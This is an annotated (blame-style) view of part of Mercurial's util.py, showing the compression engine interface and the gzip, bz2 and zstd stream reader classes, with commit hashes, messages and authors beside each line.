util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3384 protocol payloads, returns None. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3385 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3386 Otherwise, returns ``compenginewireprotosupport`` with the following |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3387 fields: |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3388 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3389 * String format identifier |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3390 * Integer priority for the server |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3391 * Integer priority for the client |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3392 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3393 The integer priorities are used to order the advertisement of format |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3394 support by server and client. The highest integer is advertised |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3395 first. Integers with non-positive values aren't advertised. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3396 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3397 The priority values are somewhat arbitrary and only used for default |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3398 ordering. The relative order can be changed via config options. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3399 |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3400 If wire protocol compression is supported, the class must also implement |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3401 ``compressstream`` and ``decompressorreader``. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3402 """ |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3403 return None |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3404 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3405 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3406 """Header added to revlog chunks that identifies this engine. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3407 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3408 If this engine can be used to compress revlogs, this method should |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3409 return the bytes used to identify chunks compressed with this engine. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3410 Else, the method should return ``None`` to indicate it does not |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3411 participate in revlog compression. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3412 """ |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3413 return None |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3414 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3415 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3416 """Compress an iterator of chunks. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3417 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3418 The method receives an iterator (ideally a generator) of chunks of |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3419 bytes to be compressed. It returns an iterator (ideally a generator) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3420 of bytes of chunks representing the compressed output. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3421 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3422 Optionally accepts an argument defining how to perform compression. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3423 Each engine treats this argument differently. |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3424 """ |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3425 raise NotImplementedError() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3426 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3427 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3428 """Perform decompression on a file object. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3429 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3430 Argument is an object with a ``read(size)`` method that returns |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3431 compressed data. Return value is an object with a ``read(size)`` that |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3432 returns uncompressed data. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3433 """ |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3434 raise NotImplementedError() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3435 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3436 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3437 """Obtain an object that can be used to compress revlog entries. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3438 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3439 The object has a ``compress(data)`` method that compresses binary |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3440 data. This method returns compressed binary data or ``None`` if |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3441 the data could not be compressed (too small, not compressible, etc). |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3442 The returned data should have a header uniquely identifying this |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3443 compression format so decompression can be routed to this engine. |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3444 This header should be identified by the ``revlogheader()`` return |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3445 value. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3446 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3447 The object has a ``decompress(data)`` method that decompresses |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3448 data. The method will only be called if ``data`` begins with |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3449 ``revlogheader()``. The method should return the raw, uncompressed |
39777
b63dee7bd0d9
global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39571
diff
changeset
|
3450 data or raise a ``StorageError``. |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3451 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3452 The object is reusable but is not thread safe. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3453 """ |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3454 raise NotImplementedError() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3455 |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3456 class _CompressedStreamReader(object): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3457 def __init__(self, fh): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3458 if safehasattr(fh, 'unbufferedread'): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3459 self._reader = fh.unbufferedread |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3460 else: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3461 self._reader = fh.read |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3462 self._pending = [] |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3463 self._pos = 0 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3464 self._eof = False |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3465 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3466 def _decompress(self, chunk): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3467 raise NotImplementedError() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3468 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3469 def read(self, l): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3470 buf = [] |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3471 while True: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3472 while self._pending: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3473 if len(self._pending[0]) > l + self._pos: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3474 newbuf = self._pending[0] |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3475 buf.append(newbuf[self._pos:self._pos + l]) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3476 self._pos += l |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3477 return ''.join(buf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3478 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3479 newbuf = self._pending.pop(0) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3480 if self._pos: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3481 buf.append(newbuf[self._pos:]) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3482 l -= len(newbuf) - self._pos |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3483 else: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3484 buf.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3485 l -= len(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3486 self._pos = 0 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3487 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3488 if self._eof: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3489 return ''.join(buf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3490 chunk = self._reader(65536) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3491 self._decompress(chunk) |
39209
1af95139e5ec
util: improve handling of truncated compressed streams
Joerg Sonnenberger <joerg@bec.de>
parents:
39060
diff
changeset
|
3492 if not chunk and not self._pending and not self._eof: |
1af95139e5ec
util: improve handling of truncated compressed streams
Joerg Sonnenberger <joerg@bec.de>
parents:
39060
diff
changeset
|
3493 # No progress and no new data, bail out |
1af95139e5ec
util: improve handling of truncated compressed streams
Joerg Sonnenberger <joerg@bec.de>
parents:
39060
diff
changeset
|
3494 return ''.join(buf) |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3495 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3496 class _GzipCompressedStreamReader(_CompressedStreamReader): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3497 def __init__(self, fh): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3498 super(_GzipCompressedStreamReader, self).__init__(fh) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3499 self._decompobj = zlib.decompressobj() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3500 def _decompress(self, chunk): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3501 newbuf = self._decompobj.decompress(chunk) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3502 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3503 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3504 d = self._decompobj.copy() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3505 try: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3506 d.decompress('x') |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3507 d.flush() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3508 if d.unused_data == 'x': |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3509 self._eof = True |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3510 except zlib.error: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3511 pass |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3512 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3513 class _BZ2CompressedStreamReader(_CompressedStreamReader): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3514 def __init__(self, fh): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3515 super(_BZ2CompressedStreamReader, self).__init__(fh) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3516 self._decompobj = bz2.BZ2Decompressor() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3517 def _decompress(self, chunk): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3518 newbuf = self._decompobj.decompress(chunk) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3519 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3520 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3521 try: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3522 while True: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3523 newbuf = self._decompobj.decompress('') |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3524 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3525 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3526 else: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3527 break |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3528 except EOFError: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3529 self._eof = True |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3530 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3531 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3532 def __init__(self, fh): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3533 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3534 newbuf = self._decompobj.decompress('BZ') |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3535 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3536 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3537 |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3538 class _ZstdCompressedStreamReader(_CompressedStreamReader): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3539 def __init__(self, fh, zstd): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3540 super(_ZstdCompressedStreamReader, self).__init__(fh) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3541 self._zstd = zstd |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3542 self._decompobj = zstd.ZstdDecompressor().decompressobj() |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3543 def _decompress(self, chunk): |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3544 newbuf = self._decompobj.decompress(chunk) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3545 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3546 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3547 try: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3548 while True: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3549 newbuf = self._decompobj.decompress('') |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3550 if newbuf: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3551 self._pending.append(newbuf) |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3552 else: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3553 break |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3554 except self._zstd.ZstdError: |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3555 self._eof = True |
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3556 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3557 class _zlibengine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3558 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3559 return 'zlib' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3560 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3561 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3562 """zlib compression using the DEFLATE algorithm. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3563 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3564 All Mercurial clients should support this format. The compression |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3565 algorithm strikes a reasonable balance between compression ratio |
55c0c91f55e6
util: document bundle compression
